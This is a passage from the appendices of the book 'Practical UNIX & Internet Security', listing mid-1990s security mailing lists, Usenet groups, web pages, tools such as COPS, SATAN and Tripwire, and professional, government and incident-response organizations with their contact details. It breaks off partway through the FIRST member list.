Some of the programs listed in this appendix appear to be "dead," or, in the vernacular jargon of academia, "completed." For instance, consider the case of COPS, developed as a student project by Dan Farmer at Purdue University under the direction of Gene Spafford. The COPS program is still referenced by many first-rate texts on computer security. But as of early 1996, COPS hasn't been updated in more than four years and fails to install cleanly on many major versions of UNIX; Dan Farmer has long since left Gene's tutelage and gone on to fame, fortune, and other projects (such as the SATAN tool). COPS rests moribund on the COAST FTP server, apparently a dead project. Nevertheless, before this book is revised for a third time, there exists the chance that someone else will take up COPS and put a new face on it. And, we note that there is still some value in applying COPS - some of the flaws that it finds are still present in systems shipped by some vendors (assuming that you can get the program to compile).

We thus present the following electronic resources with the understanding that this list necessarily cannot be complete nor completely up to date. What we hope, instead, is that it is expansive. By reading it, we hope that you will gain insight into places to look for future developments in computer security. Along the way, you may find some information you can put to immediate use.

E.1 Mailing Lists

There are many mailing lists that cover security-related material. We describe a few of the major ones here. However, this is not to imply that only these lists are worthy of mention! There may well be other lists of which we are unaware, and many of the lesser-known lists often have a higher volume of good information.

NOTE: Never place blind faith in anything you read in a mailing list, especially if the list is unmoderated. There are a number of self-styled experts on the net who will not hesitate to volunteer their views, whether knowledgeable or not. Usually their advice is benign, but sometimes it is quite dangerous. There may also be people who are providing bad advice on purpose, as a form of vandalism. And certainly there are times where the real experts make a mistake or two in what they recommend in an offhand note posted to the net.

There are some real experts on these lists who are (happily) willing to share their knowledge with the community, and their contributions make the Internet a better place. However, keep in mind that simply because you read it on the network does not mean that the information is correct for your system or environment, does not mean that it has been carefully thought out, does not mean that it matches your site policy, and most certainly does not mean that it will help your security. Always evaluate carefully the information you receive before acting on it.

E.1.1 Response Teams and Vendors

Many of the incident response teams (listed in Appendix F) have mailing lists for their advisories and alerts. If you can be classified as one of their constituents, you should contact the appropriate team(s) to be placed on their mailing lists.

Many vendors also have mailing lists for updates and advisories concerning their products. These include computer vendors, firewall vendors, and vendors of security software (including some freeware and shareware products). You may wish to contact your vendors to see if they have such lists, and if so, join.

E.1.2 A Big Problem With Mailing Lists

The problem with all these lists is that you can easily overwhelm yourself. If you are on lists from two response teams, four vendors, and another half-dozen general-purpose lists, you may find yourself filtering several hundred messages a day whenever a new general vulnerability is discovered. At the same time, you don't want to unsubscribe from these lists, because you might then miss the timely announcement of a special-case fix for your own systems.

One method that we have seen others use with some success is to split the mailing lists up among a group of administrators. Each person gets one or two lists to monitor, with particularly useful messages then redistributed to the entire group. Be certain to arrange coverage of these lists if someone leaves or goes on vacation, however!

Another approach is to feed these messages into Usenet newsgroups you create locally especially for this purpose. This strategy allows you to read the messages using an advanced newsreader that will allow you to kill message chains or trigger on keywords. It may also help provide an archiving mechanism to allow you to keep several days or weeks (or more) of the messages.

E.1.3 Major Mailing Lists

These are some of the major mailing lists.

E.1.3.1 Academic-Firewalls

The Academic-Firewalls mailing list is for people interested in discussing firewalls in the academic environment. This mailing list is hosted at Texas A&M University. To subscribe, send "subscribe academic-firewalls" in the body of a message to majordomo@net.tamu.edu.

Academic-Firewalls is archived at:

ftp://net.tamu.edu/pub/security/lists/academic-firewalls/

E.1.3.2 Best of security

This is a non-discussion mailing list for remailing items from other security-oriented mailing lists. It is intended for subscribers to forward the "best" of other mailing lists - avoiding the usual debate, argument, and disinformation present on many lists.

To subscribe to this particular mailing list, send "subscribe best-of-security" in the body of a message to best-of-security-request@suburbia.net.

E.1.3.3 Bugtraq

Bugtraq is a full-disclosure computer security mailing list. This list features detailed discussion of UNIX security holes: what they are, how to exploit them, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vulnerabilities (although that is known to be the intent of some of the subscribers). It is, instead, about defining, recognizing, and preventing use of security holes and risks. To subscribe, send "subscribe bugtraq" in the body of a message to bugtraq-request@fc.net.

Note that we have seen some incredibly incorrect and downright bad advice posted to this list. Individuals who attempt to point out errors or corrections are often roundly flamed as being "anti-disclosure." Post to this list with caution if you are the timid sort.

E.1.3.4 CERT-advisory

New CERT-CC advisories of security flaws and fixes for Internet systems are posted to this list. This list makes somewhat boring reading; often the advisories are so watered down that you cannot easily figure out what is actually being described. Nevertheless, the list does have its bright spots. Send subscription requests to cert-advisory-request@cert.org.

Archived past advisories are available from info.cert.org via anonymous FTP from:

ftp://info.cert.org/
ftp://coast.cs.purdue.edu/pub/alert/CERT

E.1.3.5 CIAC-notes

The staff at the Department of Energy CIAC publish helpful technical notes on an infrequent basis. These are very often tutorial in nature. To subscribe to the list, send a message with "subscribe ciac-notes yourname" in the message body to ciac-listproc@llnl.gov. Or, you may simply wish to browse the archive of old notes:

ftp://ciac.llnl.gov/pub/ciac/notes
ftp://coast.cs.purdue.edu/pub/alert/CIAC/notes

E.1.3.6 Computer underground digest

A curious mixture of postings on privacy, security, law, and the computer underground fill this list. Despite the name, this list is not a digest of material by the "underground" - it contains information about the computing milieux. To subscribe, send a mail message with the subject line "subscribe cu-digest" to cu-digest@weber.ucsd.edu.

This list is also available as the newsgroup comp.society.cu-digest on the Usenet; the newsgroup is the preferred means of distribution. The list is archived at numerous places around the Internet, including:

ftp://ftp.eff.org/pub/Publications/CuD

E.1.3.7 Firewalls

The Firewalls mailing list, which is hosted by Great Circle Associates, is the primary forum for folks on the Internet who want to discuss the design, construction, operation, maintenance, and philosophy of Internet firewall security systems. To subscribe, send a message to majordomo@greatcircle.com with "subscribe firewalls" in the body of the message.

The Firewalls mailing list is usually high volume (sometimes more than 100 messages per day, although usually it is only several dozen per day). To accommodate subscribers who don"t want their mailboxes flooded with lots of separate messages from Firewalls, there is also a Firewalls-Digest mailing list available. Subscribers to Firewalls-Digest receive daily (more frequent on busy days) digests of messages sent to Firewalls, rather than each message individually. Firewalls-Digest subscribers get all the same messages as Firewalls subscribers; that is, Firewalls-Digest is not moderated, just distributed in digest form.

The mailing list is archived:

ftp://ftp.greatcircle.com/pub/firewalls/
http://www.greatcircle.com/firewalls

E.1.3.8 FWALL-user

The FWALL-users mailing list is for discussions of problems, solutions, etc. among users of the TIS Internet Firewall Toolkit (FWTK). To subscribe, send email to fwall-users-request@tis.com.

E.1.3.9 RISKS

RISKS is officially known as the ACM Forum on Risks to the Public in the Use of Computers and Related Systems. It's a moderated forum for discussion of risks to society from computers and computerization. Send email subscription requests to RISKS-Request@csl.sri.com.

Back issues are available from unix.sri.com via anonymous FTP:

ftp://unix.sri.com/risks/

RISKS is also distributed as the comp.risks Usenet newsgroup, and this is the preferred method of subscription.

E.1.3.10 WWW-security

The WWW-security mailing list discusses the security aspects of WWW servers and clients. To subscribe, send "subscribe www-security" in the body of a message to majordomo@nsmx.rutgers.edu.

Previous: D.2 Security Periodicals | Practical UNIX & Internet Security | Next: E.2 Usenet Groups
D.2 Security Periodicals | Book Index | E.2 Usenet Groups


[Appendix E] E.2 Usenet Groups

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: E.1 Mailing Lists Appendix E
Electronic Resources 		Next: E.3 WWW Pages

E.2 Usenet Groups

There are several Usenet newsgroups that you might find to be interesting sources of information on network security and related topics. However, the unmoderated lists are the same as other unmoderated groups on the Usenet: repositories of material that is often off-topic, repetitive, and incorrect. Our warning about material found in mailing lists, expressed earlier, applies doubly to newsgroups.

comp.security.announce (moderated)

Computer security announcements, including new CERT-CC advisories

comp.security.unix

UNIX security

comp.security.misc

Miscellaneous computer and network security

comp.security.firewalls

Information about firewalls

comp.virus (moderated)

Information on computer viruses and related topics

alt.security

Alternative discussions of computer and network security

comp.admin.policy

Computer administrative policy issues, including security

comp.protocols.tcp-ip

TCP/IP internals, including security

comp.unix.admin

UNIX system administration, including security

comp.unix.wizards

UNIX kernel internals, including security

sci.crypt

Discussions about cryptology research and application

sci.crypt.research (moderated)

Discussions about cryptology research

comp.society.cu-digest (moderated)

As described above

comp.risks (moderated)

As described above

Previous: E.1 Mailing Lists | Practical UNIX & Internet Security | Next: E.3 WWW Pages
E.1 Mailing Lists | Book Index | E.3 WWW Pages


[Appendix E] E.3 WWW Pages

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: E.2 Usenet Groups Appendix E
Electronic Resources 		Next: E.4 Software Resources

E.3 WWW Pages

There are dozens of WWW pages with pointers to other information. Some pages are comprehensive, and others are fairly narrow in focus. The ones we list here provide a good starting point for any browsing you might do. You will find most of the other useful directories linked into one or more of these pages, and you can then build your own set of "bookmarks."

E.3.1 CIAC

The staff of the CIAC keep a good archive of tools and documents available on their site. This archive includes copies of their notes and advisories, and some locally developed software:

http://ciac.llnl.gov

E.3.2 COAST

COAST (Computer Operations, Audit, and Security Technology) is a multi-project, multi-investigator effort in computer security research and education in the Computer Sciences Department at Purdue University. It is intended to function with close ties to researchers and engineers in major companies and government agencies. COAST focuses on real-world research needs and limitations. (See the sidebar.)

The WWW hotlist index at COAST is the most comprehensive list of its type available on the Internet as of the publication of this edition:

http://www.cs.purdue.edu/coast/coast.html

E.3.3 FIRST

The FIRST (Forum of Incident Response and Security Teams) Secretariat maintains a large archive of material, including pointers to WWW pages for other FIRST teams:

http://www.first.org/first

E.3.4 NIH

The WWW index page at NIH provides a large set of pointers to internal collections and other archives:

http://www.alw.nih.gov/Security/security.html

E.3.5 Telstra

Telstra Corporation maintains a comprehensive set of WWW pages on the topic of Internet and network security at:

http://www.telstra.com.au/info/security.html

Previous: E.2 Usenet Groups | Practical UNIX & Internet Security | Next: E.4 Software Resources
E.2 Usenet Groups | Book Index | E.4 Software Resources


[Appendix E] E.4 Software Resources

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: E.3 WWW Pages Appendix E
Electronic Resources 		Next: F. Organizations

E.4 Software Resources

This appendix describes some of the tools and packages available on the Internet that you might find useful in maintaining security at your site. Many of these tools are mentioned in this book. Although this software is freely available, some of it is restricted in various ways by the authors (e.g., it may not be permitted to be used for commercial purposes or be included on a CD-ROM, etc.) or by the U.S. government (e.g., if it contains cryptography, it can"t ordinarily be exported outside the United States). Carefully read the documentation files that are distributed with the packages. If you have any doubt about appropriate use restrictions, contact the author(s) directly.

Although we have used most of the software listed here, we can"t take responsibility for ensuring that the copy you get will work properly and won"t cause any damage to your system. As with any software, test it before you use it!

COAST Software Archive

The Computer Operations, Audit, and Security Technology (COAST) project at Purdue University provides a valuable service to the Internet community by maintaining a current and well-organized repository of the most important security tools and documents on the Internet.

The repository is available on host coast.cs.purdue.edu via anonymous FTP; start in the /pub/aux directory for listings of the documents and tools available. Many of the descriptions of tools in the list below are drawn from COAST"s tools.abstracts file, and we gratefully acknowledge their permission to use this information. To find out more about COAST, point a WWW viewer at their Web page:

http://www.cs.purdue.edu/coast

Note that the COAST FTP archive does not contain cryptographic software because of the export control issues involved. However, nearly everything else related to security is available in the archive. If you find something missing from the archive that you think should be present, contact the following email address: security-archive@cs.purdue.edu.

NOTE: Some software distributions carry an external PGP signature (see Chapter 6, Cryptography). This signature helps you verify that the distribution you receive is the one packaged by the author. It does not provide any guarantee about the safety or correctness of the software, however.

Because of the additional confidence that a digital signature can add to software distributed over the Internet, we strongly encourage authors to take the additional step of including a stand-alone signature. We also encourage users who download software to check several other sources if they download a package without a signature.

E.4.1 CERN HTTP Daemon

CERN is the European Laboratory for Particle Physics, in Switzerland, and is "the birthplace of the World Wide Web." The CERN HTTP daemon is one of several common HTTP Servers on the Internet. What makes it particularly interesting is its proxying and caching capabilities, which make it especially well-suited to firewall applications.

You can get the CERN HTTP daemon from:

ftp://www.w3.org/pub/src/WWWDaemon.tar.Z

E.4.2 chrootuid

The chrootuid daemon, by Wietse Venema, makes the task of running a network service at a low privilege level and with restricted filesystem access easy. The program can be used to run Gopher, HTTP, WAIS, and other network daemons in a minimal environment: the daemons have access only to their own directory tree and run with an unprivileged user ID. This arrangement greatly reduces the impact of possible security problems in daemon software.

You can get chrootuid from:

ftp://ftp.win.tue.nl/pub/security/
ftp://coast.cs.purdue.edu/pub/tools/unix/chrootuid

E.4.3 COPS (Computer Oracle and Password System)

The COPS package is a collection of short shell files and C programs that perform checks of your system to determine whether certain weaknesses are present. Included are checks for bad permissions on various files and directories, and malformed configuration files. The system has been designed to be simple and easy to verify by reading the code, and simple to modify for special local circumstances.

The original COPS paper was presented at the summer 1990 USENIX Conference in Anaheim, CA. It was entitled "The COPS Security Checker System," by Dan Farmer and Eugene H. Spafford.

Copies of the paper can be obtained as a Purdue technical report by requesting a copy of technical report CSD-TR-993 from:

Technical Reports
Department of Computer Sciences
Purdue University
West Lafayette, IN 47907-1398

COPS can be obtained from:

ftp://coast.cs.purdue.edu/pub/tools/unix/cops

In addition, any of the public USENIX repositories for comp.sources.unix will have COPS in Volume 22.

E.4.4 ISS (Internet Security Scanner)

ISS, written by Christopher William Klaus, is the Internet Security Scanner. When ISS is run from another system and directed at your system, it probes your system for software bugs and configuration errors commonly exploited by crackers. Like SATAN, it is a controversial tool; however, ISS is less controversial than SATAN in that it is older and less capable than SATAN, and it was written by someone who (at the time it was released) was relatively unknown in the network security community. Informal conversation with personnel at various response teams indicates that they find ISS involved in a significant number of intrusions - far more than they find associated with SATAN.

You can get the freeware version of ISS from:

ftp://coast.cs.purdue.edu/pub/tools/unix/iss/

There is a commercial version of ISS that is not available on the net. It is supposed to have many more features than the freeware version. Neither of the authors has had any experience with the commercial version of ISS.

E.4.5 Kerberos

Kerberos is a secure network authentication system that is based upon private key cryptography. The Kerberos source code and papers are available from the Massachusetts Institute of Technology. Contact:

MIT Software Center
W32-300
20 Carlton Street
Cambridge, MA 02139
(617) 253-7686

You can use anonymous FTP to transfer files over the Internet from:

ftp://athena-dist.mit.edu/pub/kerberos

E.4.6 portmap

The portmap daemon, written by Wietse Venema, is a replacement program for Sun Microsystem's portmapper program. Venema's portmap daemon offers access control and logging features that are not found in Sun's version of the program. It also comes with the source code, allowing you to inspect the code for problems or modify it with your own additional features, if necessary.

You can get portmap from:

ftp://win.tue.nl/pub/security/portmap-3.shar.Z
ftp://coast.cs.purdue.edu/pub/tools/unix/portmap.shar

E.4.7 SATAN

SATAN, by Wietse Venema and Dan Farmer, is the Security Administrator Tool for Analyzing Networks.[1] Despite the authors' strong credentials in the network security community (Venema is from Eindhoven University in the Netherlands and is the author of the tcpwrapper package and several other network security tools; Farmer is the author of COPS), SATAN was a somewhat controversial tool when it was released. Why? Unlike COPS, Tiger, and other tools that work from within a system, SATAN probes the system from the outside, as an attacker would. The unfortunate consequence of this approach is that someone (such as an attacker) can run SATAN against any system, not only those that he already has access to. According to the authors:

[1] If you don"t like the name SATAN, it comes with a script named repent that changes all references from SATAN to SANTA: Security Administrator Network Tool for Analysis.

SATAN was written because we realized that computer systems are becoming more and more dependent on the network, and at the same time becoming more and more vulnerable to attack via that same network.

SATAN is a tool to help systems administrators. It recognizes several common networking-related security problems, and reports the problems without actually exploiting them.

For each type or problem found, SATAN offers a tutorial that explains the problem and what its impact could be. The tutorial also explains what can be done about the problem: correct an error in a configuration file, install a bugfix from the vendor, use other means to restrict access, or simply disable service.

SATAN collects information that is available to everyone on with access to the network. With a properly-configured firewall in place, that should be near-zero information for outsiders.

The controversy over SATAN's release was largely overblown. SATAN scans are usually easy to spot, and the package is not easy to install and run. Most response teams seem to have more trouble with people running ISS scans against their networks.

From a design point of view, SATAN is interesting in that the program uses a Web browser as its presentation system. The source may be obtained from:

ftp://ftp.win.tue.nl/pub/security/satan.tar.Z

Source, documentation, and pointers to defenses may be found at:

http://www.cs.purdue.edu/coast/satan.html

E.4.8 SOCKS

SOCKS, originally written by David Koblas and Michelle Koblas and now maintained by Ying-Da Lee, is a proxy-building toolkit that allows you to convert standard TCP client programs to proxied versions of those same programs. There are two parts to SOCKS: client libraries and a generic server. Client libraries are available for most UNIX platforms, as well as for Macintosh and Windows systems. The generic server runs on most UNIX platforms and can be used by any of the client libraries, regardless of the platform.

You can get SOCKS from:

ftp://ftp.nec.com/pub/security/socks.cstc/
ftp://coast.cs.purdue.edu/pub/tools/unix/socks/

E.4.9 Swatch

Swatch, by Todd Atkins of Stanford University, is the Simple Watcher. It monitors log files created by syslog, and allows an administrator to take specific actions (such as sending an email warning, paging someone, etc.) in response to logged events and patterns of events.

You can get Swatch from:

ftp://stanford.edu/general/security-tools/swatch
ftp://coast.cs.purdue.edu/pub/tools/unix/swatch/

E.4.10 tcpwrapper

The tcpwrapper is a system written by Wietse Venema that allows you to monitor and filter incoming requests for servers started by inetd. You can use it to selectively deny access to your sites from other hosts on the Internet, or, alternatively, to selectively allow access.

You can get tcpwrapper from:

ftp://ftp.win.tue.nl/pub/security/
ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/

E.4.11 Tiger

Tiger, written by Doug Schales of Texas A&M University (TAMU), is a set of scripts that scans a UNIX system looking for security problems, in a manner similar to that of Dan Farmer"s COPS. Tiger was originally developed to provide a check of the UNIX systems on the A&M campus that users wanted to be able to access off-campus. Before the packet filtering in the firewall would be modified to allow off-campus access to the system, the system had to pass the Tiger checks.

You can get Tiger from:

ftp://net.tamu.edu/pub/security/TAMU/
ftp://coast.cs.purdue.edu/pub/tools/unix/tiger

E.4.12 TIS Internet Firewall Toolkit

The TIS Internet Firewall Toolkit (FWTK), from Trusted Information Systems, Inc., is a useful, well designed, and well written set of programs for controlling access to Internet servers from the Internet. FWTK includes:

  • Authentication server that provides several mechanisms for supporting nonreusable passwords

  • Access control program (wrapper for inetd-started services), netac

  • Proxy servers for a variety of protocols (FTP, HTTP, Gopher, rlogin, Telnet, and X11)

  • Generic proxy server for simple TCP-based protocols using one-to-one or many-to-one connections, such as NNTP

  • Wrapper (the smap package) for SMTP servers such as Sendmail to protect them from SMTP-based attacks.

The toolkit is designed so that you can pick and choose only the pieces you need; you don"t have to install the whole thing. The pieces you do install share a common configuration file, however, which makes managing configuration changes somewhat easier.

Some parts of the toolkit (the server for the nonreusable password system, for example) require a Data Encryption Standard (DES) library in some configurations. If your system doesn't have the library (look for a file named libdes.a in any of your system directories in which code libraries are kept), you can get one from:

ftp://ftp.psy.uq.oz.au/pub/DES/.

TIS maintains a mailing list for discussions of improvements, bugs, fixes, and so on among people using the toolkit; Send email to fwall-users-request@tis.com to subscribe to this list.

You can get the toolkit from:

ftp://ftp.tis.com/pub/firewalls/toolkit/

E.4.13 trimlog

David Curry's trimlog is designed to help you to manage log files. It reads a configuration file to determine which files to trim, how to trim them, how much they should be trimmed, and so on. The program helps keep your logs from growing until they consume all available disk space.

You can get trimlog from:

ftp://coast.cs.purdue.edu/pub/tools/unix/trimlog

E.4.14 Tripwire

Tripwire, written by Gene H. Kim and Gene Spafford of the COAST project at Purdue University, is a file integrity checker, a utility that compares a designated set of files and directories against information stored in a previously generated database. Added or deleted files are flagged and reported, as are any files that have changed from their previously recorded state in the database. Run Tripwire against system files on a regular basis. If you do so, the program will spot any file changes when it next runs, giving system administrators information to enact damage-control measures immediately.

You can get Tripwire from:

ftp://coast.cs.purdue.edu/pub/COAST/Tripwire

Several technical reports on Tripwire design and operation are also present in the distribution as PostScript files.

E.4.15 UDP Packet Relayer

The UDP Packet Relayer, written by Tom Fitzgerald, is a proxy system that provides much the same functionality for UDP-based clients that SOCKS provides for TCP-based clients.

You can get this proxy system from:

ftp://coast.cs.purdue.edu/pub/tools/unix/udprelay-0.2.tar.gz

E.4.16 wuarchive ftpd

The wuarchive FTP daemon offers many features and security enhancements, such as per-directory message files shown to any user who enters the directory, limits on number of simultaneous users, and improved logging and access control. These enhancements are specifically designed to support anonymous FTP.

You can get the daemon from:

ftp://ftp.wustl.edu/packages/wuarchive-ftpd/
ftp://ftp.uu.net/networking/archival/ftp/wuarchive-ftpd/

An updated version of the server, with enhancements by several people, is available from:

ftp://ftp.academ.com/pub/wu-ftpd/private/

Previous: E.3 WWW Pages | Practical UNIX & Internet Security | Next: F. Organizations
E.3 WWW Pages | Book Index | F. Organizations


[Appendix F] Organizations

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: E.4 Software Resources Appendix F Next: F.2 U. S. Government Organizations

F. Organizations

Contents:
Professional Organizations
U. S. Government Organizations
Emergency Response Organizations

Here we have collected information on a number of useful organizations you can contact for more information and additional assistance.

F.1 Professional Organizations

You may find the following organizations helpful. The first few provide newsletters, training, and conferences. FIRST organizations may be able to provide assistance in an emergency.

F.1.1 Association for Computing Machinery (ACM)

The Association for Computing Machinery is the oldest of the computer science professional organizations. It publishes many scholarly journals and annually sponsors dozens of research and community-oriented conferences and workshops. The ACM also is involved with issues of education, professional development, and scientific progress. It has a number of special interest groups (SIGS) that are concerned with security and computer use. These include the SIGS on Security, Audit and Control; the SIG on Operating Systems; the SIG on Computers and Society; and the SIG on Software Engineering.

The ACM may be contacted at:

ACM Headquarters
11 West 42 Street
New York, NY 10036 &
plus;1-212-869-7440

The ACM has an extensive set of electronic resources, including information on its conferences and special interest groups. The information provided through the World Wide Web page is especially comprehensive and well organized:

http://www.acm.org

F.1.2 American Society for Industrial Security (ASIS)

The American Society for Industrial Security is a professional organization for those working in the security field. ASIS has been in existence for 35 years and has 22,000 members in 175 local chapters, worldwide. Its 25 standing committees focus on particular areas of security, including computer security. The group publishes a monthly magazine devoted to security and loss management. ASIS also sponsors meetings and other group activities. Membership is open only to individuals involved with security at a management level.

More information may be obtained from:

American Society for Industrial Security
1655 North Fort Meyer Drive Suite 1200
Arlington, VA 22209
+1-703-522-5800

F.1.3 Computer Security Institute (CSI)

The Computer Security Institute was established in 1974 as a multiservice organization dedicated to helping its members safeguard their electronic data processing resources. CSI sponsors workshops and conferences on security, publishes a research journal and a newsletter devoted to computer security, and serves as a clearinghouse for security information. The Institute offers many other services to members and the community on a for-profit basis. Of particular use is an annual Computer Security Buyer's Guide that lists sources of software, literature, and security consulting.

You may contact CSI at:

Computer Security Institute
600 Harrison Street
San Francisco, CA 94107
+1-415-905-2626

F.1.4 High Technology Crimes Investigation Association (HTCIA)

The HTCIA is a professional organization for individuals involved with the investigation and prosecution of high-technology crime, including computer crime. There are chapters throughout the U.S., and some are forming in other countries. Information is available via the WWW page:

http://htcia.org

John Smith, of the Northern California chapter, will provide contact information to interested parties who do not have WWW access:

Voice: +1-408-299-7401
Email: jsmith@netcom.com

F.1.5 Information Systems Security Association (ISSA)

The ISSA is an international organization of information security professionals and practitioners. It provides education forums, publications, and peer interaction opportunities that enhance the knowledge, skill, and professional growth of its members.

For more information about ISSA, contact:

ISSA Headquarters
4350 DiPaolo Center Suite C
Glenview, IL 60025-5212
+1-708-699-6441 +1-708-699-6369

ISSA has a WWW page at:

http://www.uhsa.uh.edu/issa

F.1.6 The Internet Society

The Internet Society sponsors many activities and events related to the Internet, including an annual symposium on network security. For more information, contact the Internet Society:

http://www.isoc.org

You may also contact:

+1 703/648- 9888
Email: membership@isoc.org

F.1.7 IEEE Computer Society

With more than 100,000 members, the Computer Society is the largest member society of the Institute of Electrical and Electronics Engineers (IEEE). It too is involved with scholarly publications, conferences and workshops, professional education, technical standards, and other activities designed to promote the theory and practice of computer science and engineering. The IEEE-CS also has special interest groups, including a Technical Committee on Security and Privacy, a Technical Committee on Operating Systems, and a Technical Committee on Software Engineering. More information on the Computer Society may be obtained from:

IEEE Computer Society
1730 Massachusetts Avenue N.W.
Washington, DC 20036-1903
(800) 678-4333

The Computer Society has a set of WWW pages starting at:

http://www.computer.org

The Computer Society's Technical Committee on Security and Privacy has a number of resources, including an online newsletter:

http://www.itd.nrl.navy.mil/ITD/5540/ieee

F.1.8 IFIP Technical Committee 11

The International Federation for Information Processing, Technical Committee 11, is devoted to research, education, and communication about information systems security. The working groups of the committee sponsor various activities, including conferences, throughout the world. More information may be obtained from:

http://www.iaik.tu-graz.ac.at/tc11_hom.html

F.1.9 National Computer Security Association (NCSA)

The National Computer Security Association is a commercial organization devoted to computer security. They sponsor tutorials, exhibitions, and other activities with a particular emphasis on PC users. NCSA may be contacted at:

National Computer Security Association
10 South Courthouse Avenue
Carlisle, PA 17013
+1-717-258-1816
office@ncsa.com

The NCSA has a WWW page at:

http://www.ncsa.com

F.1.10 USENIX/SAGE

The USENIX Association is a nonprofit education organization for users of UNIX and UNIX-like systems. The Association publishes a refereed journal (Computing Systems) and newsletter, sponsors numerous conferences, and has representatives on international standards bodies. The Association sponsors an annual workshop on UNIX security and another on systems administration.

SAGE stands for the Systems Administrators Guild. It is a special technical group of the USENIX Association. To join SAGE, you must also be a member of USENIX.

Information on USENIX and SAGE can be obtained from:

USENIX Association
2560 Ninth Street Suite 215
Berkeley, CA 94703
+1-510- 528-8649
office@usenix.org

The USENIX WWW page is at:

http://www.usenix.org

Previous: E.4 Software Resources | Practical UNIX & Internet Security | Next: F.2 U. S. Government Organizations
E.4 Software Resources | Book Index | F.2 U. S. Government Organizations


[Appendix F] F.2 U. S. Government Organizations

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: F.1 Professional Organizations Appendix F
Organizations 		Next: F.3 Emergency Response Organizations

F.2 U. S. Government Organizations

F.2.1 National Institute of Standards and Technology (NIST)

The National Institute of Standards and Technology (formerly the National Bureau of Standards) has been charged with the development of computer security standards and evaluation methods for applications not involving the Department of Defense (DoD). Its efforts include research as well as developing standards.

More information on NIST's activities can be obtained by contacting:

NIST Computer Security Division A-216
Gaithersburg, MD 20899
+1-301- 975-3359

http://www.nist.gov

NIST operates the Computer Security Resource Clearinghouse:

http://csrc.ncsl.nist.gov/

NIST also operates the National Technical Information Service from which you can order a variety of security publications. See Appendix D for details.

F.2.2 National Security Agency (NSA)

One complimentary copy of each volume in the "Rainbow Series" of computer security standards can be obtained from the NSA. The NSA also maintains lists of evaluated and certified products. You can contact them at:

Department of Defense
National Security Agency
ATTN: S332
9800 Savage Road
Fort George Meade, MD 20755-6000
+1 301-766-8729

http://www.nsa.gov:8080

In addition to other services, the NSA operates the National Cryptologic Museum in Maryland. An online museum is located at:

http://www.nsa.gov:8080/museum

Previous: F.1 Professional Organizations | Practical UNIX & Internet Security | Next: F.3 Emergency Response Organizations
F.1 Professional Organizations | Book Index | F.3 Emergency Response Organizations


[Appendix F] F.3 Emergency Response Organizations

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: F.2 U. S. Government Organizations Appendix F
Organizations 		Next: G. Table of IP Services

F.3 Emergency Response Organizations

The Department of Justice, FBI, and U.S. Secret Service organizations listed below investigate violations of the federal laws described in Chapter 26, Computer Security and U.S. Law. The various response teams that comprise the Forum of Incident and Response Security Teams (FIRST) do not investigate computer crimes per se, but provide assistance when security incidents occur; they also provide research, information, and support that can often help those incidents from occurring or spreading.

F.3.1 Department of Justice (DOJ)

Criminal Division
General Litigation and Legal
Advice Section
Computer Crime Unit
Department of Justice
Washington, DC 20001
Voice: +1-202-514-1026

F.3.2 Federal Bureau of Investigation (FBI)

National Computer Crimes Squad
Federal Bureau of Investigation
7799 Leesburg Pike
South Tower, Suite 200
Falls Church, VA 22043
Voice: +1-202-324-9164

F.3.3 U.S. Secret Service (USSS)

Financial Crimes Division Electronic Crime
Branch U.S. Secret Service Washington, DC 20001 Voice:
+1-202-435-7700

F.3.4 Forum of Incident and Response Security Teams (FIRST)

The Forum of Incident and Response Security Teams (FIRST) was established in March 1993. FIRST is a coalition that brings together a variety of computer security incident-response teams from the public and private sectors, as well as from universities. FIRST's constituents comprise many response teams throughout the world. FIRST's goals are to:

  • Boost cooperation among information technology users in the effective prevention of, detection of, and recovery from computer security incidents

  • Provide a means to alert and advise clients on potential threats and emerging incident situations

  • Support and promote the actions and activities of participating incident response teams, including research and operational activities

  • Simplify and encourage the sharing of security-related information, tools, and techniques

FIRST sponsors an annual workshop on incident response that includes tutorials and presentations by members of response teams and law enforcement.

FIRST incorporated in mid-1995 as a nonprofit entity. One consequence of this is a migration of FIRST Secretariat duties away from NIST. However, as this book goes to press, the Secretariat can still be reached at:

FIRST Secretariat
Forum of Incident and Response Security Teams
National Institute of Standards and Technology
A-216 Technology Building
Gaithersburg, MD 20899-0001
Phone: +1-301-975-3359
Email: first-sec@first.org

http://www.first.org/first

At the time this book went to press, FIRST consisted of the organizations that are listed below (also provided is a description of the constituencies served by each of the organizations). Check online for the most up-to-date list of members.

If you have a security problem or need assistance, first attempt to determine which of these organizations most clearly covers your operations and needs. If you are unable to determine which (if any) FIRST group to approach, call any of them for a referral to the most appropriate team.

Most of these response teams have a PGP key with which they sign their advisories or enable constituents to report problems in confidence. A copy of the PGP keyring is kept as:

ftp://coast.cs.purdue.edu/pub/response-teams/first-contacts-keys.asc

Most teams have arrangements to monitor their phones 24 hours a day, 7 days a week.

F.3.4.1 All Internet sites

Organization: CERT Coordination Center
Email: cert@cert.org
Telephone: +1-412-268-7090
FAX: +1-412-268-6989 FTP:
ftp://info.cert.org
WWW: http://www.sei.cmu.edu/technology/trustworthy.html

Note: The CERT (sm) Coordination Center (CERT-CC)
is the organization that grew from the computer emergency response
team formed by the Advanced Research Projects Agency (ARPA) in November
1988 (in the wake of the Internet Worm and similar incidents). The
CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts,
to take proactive steps to raise the community's awareness
of computer security issues, and to conduct research into improving
the security of existing systems. Their WWW and FTP archive contain
an extensive collection of alerts about past (and current) security

F.3.4.2 ANS customers

Organization: Advanced Network & Services, Inc. (ANS)
Email: anscert@ans.net
Voice: +1-313-677-7333
FAX: +1-313-677-7310

F.3.4.3 Apple Computer worldwide R&D community

Organization: Apple COmputer REsponse Squad:Apple CORES
Email: lsefton@apple.com
Voice: +1-408-974-5594 FAX: +1-408-974-4754

F.3.4.4 Australia: Internet .au domain

Organization: Australian Computer Emergency Response Team (AUSCERT)
Email: auscert@auscert.org.au
Voice: +61-7-3365-4417
FAX: +61-7-3365-4477
WWW: http://www.auscert.org.au

F.3.4.5 Bellcore

Organization: Bellcore
Email: sb3@cc.bellcore.com
Voice: +1-908-758-5860
